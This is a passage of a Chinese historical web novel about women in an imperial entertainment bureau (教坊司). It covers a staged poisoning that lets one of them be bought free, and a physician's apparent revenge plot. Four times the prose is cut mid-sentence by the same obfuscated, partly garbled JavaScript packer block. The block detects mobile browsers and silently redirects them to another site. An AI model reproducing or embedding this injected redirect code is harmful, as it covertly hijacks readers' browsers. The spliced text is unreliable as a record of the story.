“好好,”念鸯还是只会点头说好。 燕惜妤忽然反问她:“我刚才说让你做什么事?” “啊?什么?”念鸯睁着眼睛木然地看了过来。 燕惜妤抬手轻轻戳了戳她的肩膀:“念鸯,不要慌,我教你怎么做,你按照我教你的去做,你就能离开这教坊司,别怕。” 念鸯双手焦躁地攥成拳,然后重重地点了点头。 等燕惜妤从念鸯屋里出来的时候,她的脖子已经涂了厚厚的一层药膏。 才刚进到屋,孙珍娘就带着小徒过来了。 小徒肩上背着药匣,一手还拎着两包用纸包好的药材。 她们原本是要来找燕惜妤的,但念鸯的房门在这时候忽然打开了。 念鸯低着头走到孙珍娘的身旁,也不知道和她说了句什么话,孙珍娘就跟着她走了屋,念鸯还把房门也关上了。 小徒连看都没看那边一眼,拎着药直直向着燕惜妤走来。 “这是什么药?”燕惜妤看着放在桌面上的那两包药材。 “给你抓的药,三碗水煎煮至一碗水,就寝时喝,”孙珍娘不在跟前,小徒不像平日那么的沉默寡言。 燕惜妤又问:“喝了有什么用?”看来这人已经学有所成,给她号脉之后也能抓药。 小徒像是考虑了一下,才斟酌着说:“你的脉息与常人不同,我师祖留下的医册没有相似的病状,这药对你间歇闭气并无作用,但于你身体有好处,能让癸水如常。” 燕惜妤听懂了,但这药她现在还真不能煮来喝。 “谢谢,”燕惜妤说,“谢谢。” 她连说了两次谢谢,倒是让小徒有些赧然。 燕惜妤见她这样,想到了放在木盆里的那小瓶药丸,于是她开始叹气:“唉,我这身体自从吃了你师父给的那颗药丸,总是时不时地吐血。” 她这话一出口,小徒立即就紧张了起来,她张张嘴:“那……” 燕惜妤知道她想说的是那小瓶药丸,于是她点头:“有用,但我总感觉我的身体很不舒服,要是我能有些可以治风寒啊发热啊,又或者是止泻之类的药丸,那我可能就更安心了。” 小徒抿着嘴唇,先是回头看看门外,然后一声不吭地打开了一直背着的药匣,从里面拿出了好几个小瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282614|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓶。 小徒拿出一个小瓷瓶,燕惜妤就手快地收走一个,等小徒想再合上药匣的时候,她又咳了两声。 “唉,我这脖子又肿又痛,要是还能再有些消肿的药膏,和能治磕碰扭伤的药酒就再好不过了。” 小徒放在药匣上的手一顿,迟疑地看着燕惜妤,然后小声问:“你为什么要磕碰扭伤的药酒?” 燕惜妤理直气壮地说:“我会忽然咚地一下倒地上,把膝盖磕的又青又紫,涂药酒会好的快一点。” 小徒沉默了一会儿,估计是想起了之前这人活了又死,死了又活的时候总是趴在地上,于是默默地拿出了一个小瓷罐和一个小酒瓶,然后快速地合上药匣,一转身就跑出了屋。 燕惜妤被她逗乐了。 她看了看那个小瓷罐,这里面应该是消肿的药膏。 想到消肿的药膏,就想到了念鸯,燕惜妤抬头看了一眼念鸯那紧紧关闭着的房门。 此时在念鸯的屋里,念鸯正跪在孙珍娘的面前。 孙珍娘低头看着她,冷漠的脸上没有多余的表情,连说话的声音都和平日一样:“你说你在崔掌事那里拿了什么?” “是信函,我拿到了崔掌事藏了很多年的信函,”念鸯跪在孙珍娘面前,低着头说,“我昨儿去寻崔掌事,想求他让我赎身,不小心看到他藏的这信函,还听他骂打扫的仆妇,说不许再进他屋里。” “你又怎知这信函与我有关?”孙珍娘问她。 “我听见崔掌事身边的心腹问他,这信函有何用处,崔掌事很得意地说只要有这信函在手,就、就能让孙女医听他的话,”念鸯低着头,声音有些犹豫,“还、还说留了孙女医这么久,日、日后有大用处。” 孙珍娘冷哼了一声:“我倒要看看他如何让我听话!” 跪着的念鸯没说话。 孙珍娘眼神冷冷地觑着念鸯:“信函呢?” 念鸯跪着没有动。 孙珍娘脸带讥讽:“你想要什么?” “我、我想离开这吃人的教坊司!”念鸯猛地抬起了头,她红着双眼,声音既悲凉又充满了怨恨,“我攒了一次又一次的钱,崔掌事却一再加价,我、我死过一回,我不甘心……” “你要多少银子?”孙珍娘不耐烦地打断了她。 “我不要银子!”念鸯用力攥着拳,“我想装病离开教坊司,只有女医能帮我。” 孙珍娘嗤笑一声:“你倒是真敢想。” 念鸯挺直腰板跪着,抬着的脖子上还有淡淡的勒痕,那是她前几日上吊时留下的。 孙珍娘冷漠地说:“我只帮你这一回。” “谢谢孙女医!谢谢孙女医!”念鸯一连给孙珍娘磕了三个头,这才小心翼翼地从怀里取出了那信函,“孙女医,这就是从崔掌事屋里拿出来的信函,看着像是许多年前早就写好的,我、我没敢打开看。” 孙珍娘漫不经心地接过那信函,扫了眼跪着的念鸯,见对方低着头,她才漠然地拆了手中的信函。 信函里只有一纸旧笺,孙珍娘甫一看见纸上的字,脸色霎时变了,眼中甚至露出惊骇! 8. 第8章 “嘭”的一声,孙珍娘甩开念鸯的房门快步走了出来,等在院子的小徒被吓了一跳。 燕惜妤坐在屋里看着这一幕,等孙珍娘她们离开之后,念鸯也从屋里走了出来。 她的脸上难得有了些血色,眼神中有着昂奋的光芒。 “念鸯,来,坐这边,”燕惜妤对她招手。 “卉童卉童,我说了!我按照你教的,全说给她听了!”念鸯有些坐不住,整个人火烧火燎的,心里像是有一团火在燃烧着。 “不错,你现在可以去收拾你那些要带走的首饰和银子了,提前送出去,免得到时候忘了,”燕惜妤提醒她。 “好好,我……能先放你这里吗?”念鸯一脸的信任看过来。 “你如果信我,那你就先放我这里,等你出去了,我给你送到铁匠那里去,”燕惜妤点头。 “我当然信你,”说了会话,念鸯冷静了下来,她又开始担忧了,“卉童,你说……她会信吗?” 念鸯说的“她”自然就是孙珍娘。 “她会信,”燕惜妤笑了笑,“她心中有鬼,容易东猜西疑。猜忌多了,就容不得一丁点儿的纰漏。” 念鸯还是有些担心:“我、我方才也不晓得有没有说错话,万一她疑心我……” “没事,你这个人就足够让她放心了,”燕惜妤说。 念鸯一脸懵:“什么叫我这个人?” 燕惜妤解释给她听:“我打听过大承朝的律法,卖人的身契分为死契和活契,卖身死契只有嫡亲才能签,签了死契,卖出的儿女从此生死就由主人家决定。 “活契就是我和你这种的比较多,我是从小被崔掌事买来的,当时是被卖还是被拐没人知,经人牙子的手卖出的人都是活契,这是律法规定的,以后家人找来就能把人赎回去。 另外就是你这种活契,你家人卖你的时候,想着日后还想赎你回去,要是你死了,主人家就要赔钱,因为卖身活契规定了死伤是要赔偿银子的。” “啊?卖身契和这件事有关系?”念鸯还是一脸懵。 “有,你是活契卖身,你忍受不了这教坊司的日子,你想离开教坊司,你为了想离开还上了吊,所以她会相信你的不择手段,”燕惜妤叹了口气,“如果是芳娘或吉荷做出这种事,她不会信,因为她们生死都不由己。” 念鸯似懂非懂地点了点头:“原来是这样啊。” “别想太多,你准备接下来的事情,”燕惜妤拍拍她的手背,“有人还在外面等你。” “好,”念鸯用力地点头,然后又说,“卉童能来帮我收拾吗?” “好啊。” 燕惜妤跟着念鸯过去,帮念鸯简单地收拾了一下可以带走的东西。 如果被人赎身,能带走的除了银子和首饰,衣裳也能带走,但是念鸯这次是例外,她只能悄悄带走银子和首饰,衣裳她不能带。 “这些衣裳都是钱啊,”燕惜妤忍不住说。但念鸯不能像她把衣裳悄悄带出去当了换钱,否则容易露馅。 “我不会再穿这些衣裳了,”念鸯脸上露出嫌弃,“日后我再也不想穿教坊司的衣裳了。” “也是,你去过你想过的日子,”燕惜妤点点头,然后她看见了念鸯拿在手里的纸张,“你这里有纸?” “有,你要?给你,”念鸯将手里的纸张递了过来。 “我拿一张,”燕惜妤抽出了一张纸,然后说,“有笔吗?借我画一下图。” 念鸯又拿来了笔墨和砚台。 燕惜妤自己磨了墨,在纸下画了两个图案,然后递给念鸯。 “念鸯,这张纸和你的银子放一起,到时候你拿出来交给铁匠,请他用铁帮我打造出来。” 她递的大方,念鸯也就顺势看了一眼:“不是说要打两把刀?”这纸上画的也不是刀啊。 “我们女子若要反抗,必须趁对方不备且要出其不意,”燕惜妤意有所指地说,“如果被人看见我手里有刀,那对方就会有所防备。” 念鸯恍然大悟:“原来是这样!” “对了,我记得你之前说铁匠送了你一支簪子,你拿出来给我,我单独放着,”燕惜妤忽然说。 念鸯也不问为什么,把簪子找出来放在了燕惜妤的手里。 帮念鸯收拾好能带走的东西,燕惜妤又悄悄地带着衣裳去了当铺。 除了之前要带着的,和不能当的寝衣,屋里现在只剩下两身换洗的衣裳,还有脚上穿的一双锦鞋。 她也不去同一间当铺,而是把附近不同店名的当铺全都去了一遍。 每次路过人多的地方,都要停下来听一会,然后又特地绕去城门口看两眼。 城门口出现了越来越多的灾民,衙门和城里的富户轮流在城外的草棚里施粥。 衙差也来来往往的,每个人都行色匆匆,看来衙门还没能决定好该将外面的灾民迁到什么地方去。 往回走时,燕惜妤走进了一间药堂。 店伙计走过来问:“客人是来寻郎中看病,还是来抓药?” “我想买可以染色的药膏,”燕惜妤说,“就是涂在人身上会沾色,很难洗掉的那种药膏,请问你这里有没有?” “有,黄栀膏,”那伙计说,“一涂上手就能变黄,涂的越久越难清洗,想要完全去除,需要三旬。” “怎么卖的?”燕惜妤问。 “一贯钱一罐,”那伙计说。 一千个铜板?! 燕惜妤倒吸了一口凉气:“我不要一罐。” “那客人可以买一小包,”伙计从柜台里拿出了一张油纸,“一百钱一小包。” “行,”燕惜妤旧钱袋里的铜板全倒在了柜面上,这一百个铜板是她放进钱袋的,旧钱袋这下子完全瘪了,一文不剩。 伙计收了钱,然后捧来一个小瓦罐,用小木刀从里面刮了几刀黄栀膏,然后用油纸包好递给了燕惜妤。 轻飘飘的一个小油纸包,就清空了钱袋。 燕惜妤想想她当首饰和衣裳得来的那些银子,再想到她离开教坊司以后,没户籍没路引极有可能找不到工作,顿时感觉到了危机感。 看准了时辰回教坊司,果然还没进居住的小院子,就已经能听到崔掌事在骂人。 燕惜妤脱了头上戴的帷帽,又摘了面纱,这才走进院子。 一眼就看到崔掌事站在念鸯的屋前骂人。 吉荷她们几个正站在一旁,看见她回来,连忙对她招手。 “念鸯怎么了?”燕惜妤明知故问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282615|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“念鸯喝药了,”芳娘摇着头说,“你上次救了她,她这次特地等你出去才喝的药,就是不想让你再救她。” 燕惜妤脸上立即露出了伤心的表情:“我不该出去的,孙女医来了吗?她怎么说?” “孙女医说不行了,”吉荷捂着嘴,“又被崔掌事给骂了进去,可是那又能有什么用呢。” 孙珍娘这时带着小徒从屋里出来了,小徒仍然是那副沉默寡言的样子,孙珍娘也不去看崔掌事,只侧身站着,然后摇了摇头。 崔掌事立即又是一连串难听的咒骂。 孙珍娘带着小徒一声不吭地走了,燕惜妤看了眼她的背影。 “看什么看!都滚回各自屋去!”崔掌事对着这边张嘴就骂,“还有谁要喝药死的?现在就说出来,免得我叫人买少了裹尸席。” 燕惜妤走到念鸯住的房门前,往里看了一眼。 桌上放着一个茶碗,而念鸯躺在床上,能看见她的胸膛有起伏,但是很缓慢。 “你在看什么?”崔掌事瞪了过来,“你还看她,你前些日子倒在地上断气的样子比她好不了多少!” 燕惜妤缩着脖子,闷声闷气地开口:“崔掌事,我听说念鸯是有人原本要赎她走的,是您不同意。” 吉荷连忙给她递眼色,让她别哪壶不开提哪壶,这个时候说起这事,不是自个儿找骂吗。 崔掌事伸手一指燕惜妤,表情非常狰狞。 燕惜妤继续自言自语地说:“您也不让曾公子赎我走,现在又逼死了念鸯,可怜想赎她的那个男人还不知道她要死了。” 崔掌事原本张着嘴正要骂,听见这话时,神情忽然就是一顿。 好巧不巧的,有仆妇从外面走了过来。 她看见崔掌事在,吓得转身就想离开。 崔掌事正在气头上,见人就要骂几句:“滚回来!” 那仆妇只好胆怯地低头走了过来:“崔掌事。” “你来这做什么?”崔掌事阴着脸问。 “是外面有人托我来寻念鸯,”那仆妇低声说,“他人正等在左侧门。” “是什么人来寻她?”崔掌事追问了一句。 “不知道,是个男子,”仆妇说。 “滚!”崔掌事把仆妇骂走了。 他回头看了看燕惜妤,又看看屋里躺在床上的念鸯,脸色阴森地走了。 燕惜妤远远跟了过来。 崔掌事阴着脸走到左侧门,一眼就看见了高壮的李铁匠。 他记得这小子,正是这小子之前想要赎走念鸯,还被他耍了两回。 “崔掌事,”李铁匠连忙朝崔掌事鞠躬,“我、我来找念鸯。” “你攒够银子来赎人了?”崔掌事眯着眼睛问。 “没、没有,”李铁匠低着头,从怀里掏出一方小手绢,“我不……不赎了,我来还她之前送我的手绢。” “什么?!你不赎了?!”崔掌事忽然尖声叫了出来,随即他像是想到了什么似的,又压下了怒火,“我记得你之前不是攒了六百两银子,你把六百两银子给我,我让你带走念鸯。” “真的?!”李铁匠猛地抬起了头,他双眼迸出激动的光芒,刚要张嘴说话,忽然看见了站在崔掌事身后不远处的一位姑娘。 9. 第9章 燕惜妤手里拿着一根簪子,这簪子是李铁匠送给念鸯的。 燕惜妤举着簪子左看右看,李铁匠的眼珠子也跟着簪子转来转去。 崔掌事没留意背后有人,他压着怒火看着李铁匠:“当然是真的,你去把银子拿来,今天你就能把念鸯带回家。” 李铁匠收回停留在簪子上的视线,然后低下了头:“回崔掌事,我没、没有六百两银子。” “你说什么?!”崔掌事强压着的怒火噌一下就窜了出来,“你这小子一看就不是什么好人,之前嘴里嚷着要赎念鸯,我现在让你把人带走,你却说没有银子!你没银子还来找她做什么!” “本、本来是有六百两银子的,”李铁匠被骂的不敢抬头,“可是、可是崔掌事您又要说九百两银子,我、我实在是拿不出啊,我爹娘家人都骂我,我、我只好把借来的银子都还了回去,我今日来,是把念鸯的手绢还给她,日后……” “少费话,你还有多少银子?”崔掌事越听越蹿火,但再一想确实是因为他要九百两银子才把这蠢货逼走的,只能自个儿捏着鼻子认了。 “还有、还有……”李铁匠快速抬头看了不远处站着的燕惜妤一眼,然后低着头闷声说,“还有三百两银子。” 燕惜妤无声笑了笑,把念鸯的簪子又放回了怀里。 她之前让念鸯去和李铁匠说手上还有两百两银子,如果崔掌事嫌少,李铁匠就可以顺势提出再去借,但借不了多少,这样基本就可以把钱控制在三百两之内。 不过李铁匠确实很想把念鸯赎回家,刚才她如果不把念鸯的簪子拿出来,李铁匠极有可能直接就把六百两银子都拿出来赎人了。 现在这样也可以了,李铁匠估计是怕把银钱说少了,崔掌事不肯放人。他对念鸯的这份情感,是钱财无法衡量的。 燕惜妤转身走回了小院子,崔掌事过了好一会也走了进来,他身后还跟着俩个仆妇。 估计是觉得骗过了李铁匠那蠢货,一直阴着的脸总算是变得缓和了。 他一进来就把吉荷她们都赶进了各自的屋里,接着让仆妇硬是把躺在床上昏睡的念鸯给架了起来。 她们给念鸯蒙上面纱,又戴上了帷帽,然后一人架着念鸯的一边胳膊,把念鸯给带出了屋。 燕惜妤就靠在门边看着,吉荷她们也在探头看。 等崔掌事带着人离开后,吉荷她们立即慌了。 “念鸯还没断气吧?崔掌事这就把她丢出去了?” “这大白天的,教坊的大人们都还在,他没那个狗胆。” 燕惜妤提醒她们:“我们跟过去看看不就知道了。” “对,跟过去看看!” “快跟上!” 几人不远不近地跟着,人一多就容易被发现,崔掌事回头看了眼,也没理会她们。 崔掌事带着人在侧门站了没一会儿,李铁匠抱着一个小布包跑了过来。 他第一时间去看被俩个仆妇架着的念鸯,然后才捧着小布包走到崔掌事的面前。 “崔掌事,念鸯她这是怎么了?”李铁匠看着念鸯一脸的担心。 “她能有什么事?”崔掌事不耐烦地说,“教坊里好吃好穿地供着她,还不是因为你不中用,攒了这么久银子都没能赎她出去,你把银子给我,然后把她带回去,过两天就好了。” 李铁匠捧着银子像是有点迟疑。 “怎么?又不赎人了?”崔掌事从怀里掏出卖身契,“你如果不赎她,我就把她卖给溍河旁的高老员外,他九十八了还想再收一房小妾。” “不不不,我赎!”李铁匠慌忙地说,他对崔掌事伸出手,语气显得小心翼翼,“崔掌事能先把念鸯的卖身契给我看看吗?” 崔掌事讥笑一声,将手里的卖身契甩给了李铁匠:“好好看看吧。” 李铁匠小心翼翼看过卖身契,这才把手里一直捧着的那包银子递给了崔掌事。 “崔掌事,这是三百五十两银子,请您收下,我这就把念鸯带回家。” 崔掌事接过那包银子,掀开裹布看了看,又掂了掂重量,然后冷笑着不再看李铁匠和念鸯一眼。 李铁匠把念鸯的卖身契放入怀里,然后走到念鸯面前,背对着蹲了下来。 俩个仆妇把架着的念鸯放到李铁匠的背上,于是李铁匠背着念鸯走了。 燕惜妤看着念鸯的背影,又去看吉荷她们。 明知她们不会离开,燕惜妤还是忍不住小声问:“吉荷,如果有人能带你们逃出教坊司,你们愿意走吗?” 吉荷她们几人对视一眼,眼中都有着释然。 “我们不逃。” “我有父兄在边地当军户,这教坊司里也有我其他的家人,我不会逃的。” 正是因为如此,这教坊司才从不阻拦坊里的女子出入。大门开着,但从来没有人逃走。 她们几人在小声说着话,那边崔掌事捧着包银子走了过来。 吉荷她们连忙往回走,崔掌事眯缝着眼睛看向燕惜妤:“卉童,你脖子的伤如何了?” 燕惜妤转过身来,低着头说:“回崔掌事,还留有青紫色的勒痕。” 痛倒是不怎么痛了,不过勒痕还没完全消。 “多涂点药膏,”崔掌事眼中闪过阴冷,“蜀葵花节的那一天,你就该登花楼了。” 崔掌事说完,像是看货物似的上上下下打量了好几眼,又阴森森地说:“卉童,你最好听话些。” 燕惜妤低着头,等崔掌事冷哼一声离开后,她才抬头侧身看了看崔掌事离去的方向。 崔掌事转过回廊的时候,对面的转角里闪出了一个人影。 孙珍娘还没有离开,她也不知道站在那里多久了,视线一直停留在崔掌事的身上。 崔掌事抱着银子去了趟小厨房,刚来没几天的石厨子正坐在树荫下乘凉,见他进来,连忙迎了上去。 “崔掌事,您今儿个怎么亲自过来了?有话您差人过来说一声……” “少费话,”崔掌事打断他,“我最近觉得口苦,那鹿茸你就先别炖了,给我炖几天人参。” “哎,好的好的,”石厨子点头哈腰地连声说好。 等崔掌事走开后,他对着崔掌事离去的方向啐了一口:“呸,死太监!” 结果一抬眼,却看见了孙珍娘,立即又换上了一副讨好的笑脸:“孙女医你怎么来了?” 孙珍娘是教坊司的女医,尤其是花楼里的花娘,总是会找她诊脉,还三五天地去大厨房借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282616|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药锅煎药,而如果各位大人和掌事需要煎药,则是来小厨房。 孙珍娘依然是冷淡的样子,她递给石厨子一个小纸包:“这是崔掌事的,你晚上给崔掌事炖汤时,汤盛出来后要趁热加进去,一次一片,化进汤里即可饮用。” “好的好的,”石厨子连忙接了过来。他也不问治什么病的,反正那些个死太监总是变着法子吩咐教坊的小厨房给炖各种大补的汤水,大家彼此心知肚明,根本就不需要再问。 “有劳,”孙珍娘说完,转身离开。 石厨子的徒弟之前一直躲在灶房里看,这时走了出来,有点小激动地说:“师父,快看看女医给的是什么?” 石厨子打开纸包一看,里面只有三小片黑黄黑黄的膏剂。 “只有三片啊,”徒弟顿时变得没精打采,“这么少,我们就没份了。” 石厨子也觉得可惜,他管理着专门给各位大人和掌事们烧饭的小厨房,什么好东西他都能扣出来一些,但这种只有三两片的膏剂,他就没办法偷藏了。 不过他却是拍了徒弟一巴掌,嘴里骂道:“鹿茸炖汤你喝的少了?今晚炖人参,女医给的这宝贝你就别想了,剩下的人参汤倒是可以分你半碗。” “谢谢师父,”徒弟顿时眉开眼笑起来。 石厨子和徒弟在说话,不远处的院墙外,燕惜妤正透过墙窗看着他们。 燕惜妤看了看石厨子手里拿着的小纸包,她垂着眼伸手摸了摸自己脖子上的勒痕。 这时,身后传来脚步声,燕惜妤回过头来,发现是一名妇人。 她侧身避了一下,刚想离开,没想到那妇人却出声叫住了她。 “是卉童吧?” 燕惜妤脚步一顿,又转过身来,她没卉童的记忆,不知道眼前这妇人的身份。 所以她只能脸带歉意地看着对方:“你是?” “我是萃厨娘,估计你是记不得我了,”萃厨娘的眼神充满了慈爱,“我之前给你的那个布偶,你还留着吗?” 燕惜妤一下子就记起了之前和首饰放在同一个木盒里的那个像布偶的香囊,首饰都当了,但它还留着,那东西不值钱。 “留着,”燕惜妤点头,原来那是眼前的萃厨娘送的。 没想到萃厨娘却忽然低声说:“那本来就是你的,你要藏好。” 燕惜妤一怔,点了点头:“好,谢谢萃婶子。” 萃厨娘像是还有话要说,但她最终没再多说什么,转身走了进去。 燕惜妤的视线跟着她的背影看过去。 石厨子这时又坐在树荫下乘凉,一见到萃厨娘,说话都有点哆嗦:“师、师妹?你怎么来了这?” “别喊我师妹,你当初走的时候已经说了不再认我爹是师父,”萃厨娘小小个子的一个妇人,完全不怕牛高马大的石厨子,“你带走了我爹的那套刀具,现在我来要回它。” 燕惜妤没再听下去,她只要确认孙珍娘会动手,就足够了。 溜达着回到居住的小院,吉荷她们却正急得团团转。 “怎么了?”燕惜妤一脸的茫然。 “你还问怎么了!”吉荷瞪着眼,“刚才崔掌事说的话你没听见吗?蜀葵花节快到了,你要登花楼了啊!” 10. 第10章 燕惜妤还真把这事给忘了。 “离蜀葵花节还有几天来着?”燕惜妤问,她是真不知道蜀葵花开的时间。 “还有六日!”吉荷是最着急的,她已经急的开始在原地转圈了,“我刚才悄悄去问了花楼那边掌事的仆从,她说崔掌事已经叫人把你的画像递了过去,蜀葵花节那天你的画像一被挂上去,你就要登花楼了啊!” 燕惜妤算了算时间,够用。 “我知道了,”燕惜妤点头,“我会想法子的,谢谢你们。” 吉荷她们其实也只能干着急,如果真能解决这件事,当初卉童和念鸯就不会选择上吊。 芳娘叹气道:“能像念鸯那样也好,最起码是出了这教坊司。” 就这样到了第二天的下午,燕惜妤蒙着面纱,戴着帷帽抱着念鸯放在她那里的银子,悄悄地去了铁铺。 李铁匠今日仍然光着膀子在打铁。 “李铁匠,”燕惜妤站在旁边喊他,“我和念鸯说好今日来给她送些衣物。” 李铁匠一听,连忙停下了手里的动作:“姑娘是?” “我叫卉童,”燕惜妤压低声音问,“念鸯醒了吗?” 李铁匠也压着嗓子说:“醒了醒了,我今日本想在家陪她,她却将我赶了出来,说你定会寻过来。” “醒了就好,”燕惜妤暗自松了口气,她把手里捧着的小包裹递给了李铁匠,“这是念鸯先前放在我那的,我今日拿来给你,劳烦你替我还给她。” “好好,”李铁匠双手接了过来,又压着嗓子问,“念鸯说姑娘有利器要打造……” “对,我自己画了图,我放在包裹里了,你待会帮我看看,”燕惜妤指了指李铁匠抱着的小包裹,“李铁匠,我急着用,你能不能尽快帮我打造出来?” “姑娘想几日来取?”李铁匠问。 “三日,”燕惜妤说,“若超了三日,我再要来也没用。” “好,请姑娘三日后再来,我定为姑娘打造好这两样利器!”李铁匠点头。念鸯已经告诉了他,是眼前这人帮她从教坊司里安全出来的,如若没有这人,念鸯早就活不成了。 “对了,我听念鸯说铁匠曾经想去给商队当护卫,不知道铁匠知不知道商队的人在路上用什么东西喝水?”燕惜妤忽然想到一件事。 “他们都是用羊皮水囊来喝水,”李铁匠说,“姑娘为何问这些?” “我想买一个羊皮水囊,”燕惜妤说,“可否请铁匠告知我该去何处才能买到羊皮水囊?” “姑娘不用买,”李铁匠挠挠头,憨笑着说,“我先前想着要去当商队的护卫,就买了一个羊皮水囊,姑娘姑娘需要,三日后我一并带来给姑娘。” “谢谢,”燕惜妤对着李铁匠躬身道谢,“请问羊皮水囊和两样利器一共要多少银子?我先把银子给你。” “姑娘客气,李某是万万不敢要姑娘的银子,”李铁匠连忙说,“姑娘对我和念鸯的恩情,我们这辈子都记在心里,不过是帮姑娘打造两把利器,怎的能和姑娘的救命之恩相提。” “待我拿到你打造的那两把利器,念鸯和我就两清了,以后你俩好好过日子。”燕惜妤真心实意地说,“我对念鸯来讲,不过是同在教坊司待过些日子的旁人,你才是那个能给她未来依靠的人。” 离开铁铺之后,燕惜妤又去了一趟城门口。 守城门的衙差明显比前几日多了不少,个个手里都握紧了大刀。 远远地能看见城门外聚着不少衣衫褴褛的灾民,男女老少都有,人人脸上的表情都很麻木。 城门口有一小撮闲汉正蹲在墙角唠嗑,旁边围了几人在听。 燕惜妤也凑了过去。 “这灾民越来越多,咱仓州的知州大人怎么还能在衙门里坐得住?” “朝廷还没派官员下来,知州大人可哪敢动。” “啊?” “你说你,你都听了些什么!没朝廷官员带着圣旨过来,哪个边地的驻军和官员敢收灾民!” “就是!这灾民一收,日后可是要按人头贡税的!” “可再这么等下去,他们会不会闯进来?” “再过三五日就差不多了,衙差说圣旨已经在路上了。” 燕惜妤确定了具体时间,也就放心地离开城门口。 回教坊司的路上,她进了一间成衣铺。 铺内伙计看见她就开口:“客人,您来的可太巧了,今儿个绣房刚送来了一批新成衣,您请这边走。” 燕惜妤站着没动:“我要买耐穿耐脏的粗布衣裳。” 那伙计听了,脸上的表情略有些变化,不过仍然在外面带路:“有的,客人请往这边来。” 伙计把燕惜妤带到一排挂着成衣的架子前:“客人请看,这些都是麻布衣裳,看着是老气了些,可是耐穿耐磨还耐脏。” “这是什么?”燕惜妤指着一件衣服问。 “这是窄袖襦衫,一般是搭着长袴和百迭裙一起穿,”伙计说。 “有没有不是开襟的,”燕惜妤问,“这种衣服做事不方便啊。” 伙计往旁边走了两步:“有的,客人请看这件,这是类似宫廷侍女们穿的圆领?袍,弯腰做事的时候最方便了。” “这是女子穿的?”燕惜妤又问。她要独自一人出远门,路上肯定会有各种问题出现,但她也没想过女扮男装,一是容易露馅,二是怕露馅之后引起注意。 一群有男有女的灾民,突然出现一个女扮男装的女子,比原是妇人衣着的女子更容易引人关注。 “这自然是女子穿的,”伙计的眼神中有着疑惑,怎么这女客人分不清男女衣裳的?这人莫不是大承朝的人? “行,就要这种的,给我来两套,”燕惜妤掏出了旧钱袋,里面除了有铜板,还有几粒碎银子。 捧着包有两套衣裳的包裹从成衣铺出来,燕惜妤一路上都在心痛刚才给出去的银子。 她现在是花出去一文就少一文,没有收入,坐吃山空啊! 燕惜妤是数着手里的银钱回到教坊司的,她不清楚盖房子和买田地具体需要多少钱,也不清楚自己手里的这些银钱,日后该怎么花才能让她不至于饿肚子。 回到教坊司之后,燕惜妤把刚买的衣裳抖了几下,然后蹲在地上,把新买的衣裳在地砖上来回地搓。 虽然她也想穿新衣裳,可是新衣裳在一群身上穿着千补百衲衣裳的灾民之中,那就太过于显眼了。 燕惜妤一连搓了三天,才终于把新买的衣裳在地砖上搓的又皱又脏,看着和城门外那些灾民没两样。 这天一大早,燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282617|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜妤站在小院外看着旁边的树出神。 从念鸯被赎走的那天起,孙珍娘再也没有在教坊司里出现过。 而崔掌事仍然每日都骂骂咧咧的,很是生龙活虎。 难道是她估计错了孙珍娘? 应该不会,敢给别人吃毒药丸的人,而且还是藏着绝对不能被别人知道的秘密的人,是不会放过对她造成了威胁的崔掌事的。 再说孙珍娘那一日确实去了厨房,她绝对不会无缘无故去厨房! 吉荷来唤人一起去膳堂的时候,却看见人正在院门外站着。 “卉童?你怎的站在这?” 吉荷走过去,燕惜妤回头对她笑。 “我饿了,在等你们一起去吃饭。” 芳娘听了就捂嘴轻笑:“平日你都是有吃就吃,不吃就饿着,今日却是会喊饿了。” “卉童姐姐,我也饿了,”春苗说。 几人有说有笑地朝着膳堂走去。 今日吃的是面食,其他人多少都喝了些面汤,只有燕惜妤一口汤没喝,只把面条捞着吃了。 吃完饭,几人溜达着回住处。 这里虽然是教坊司,不过只是皇城教坊司的分支,只有皇帝带着各官员过来的时候才会所有人都一起忙碌起来。教坊司平日里最忙的,是花楼里的花娘。 想到自己从此就要出去流浪了,以后要过着风餐露宿的日子,燕惜妤觉得自己的脚步都变得沉重了。 就在这时,各掌事住的院子忽然传出了吵闹声。 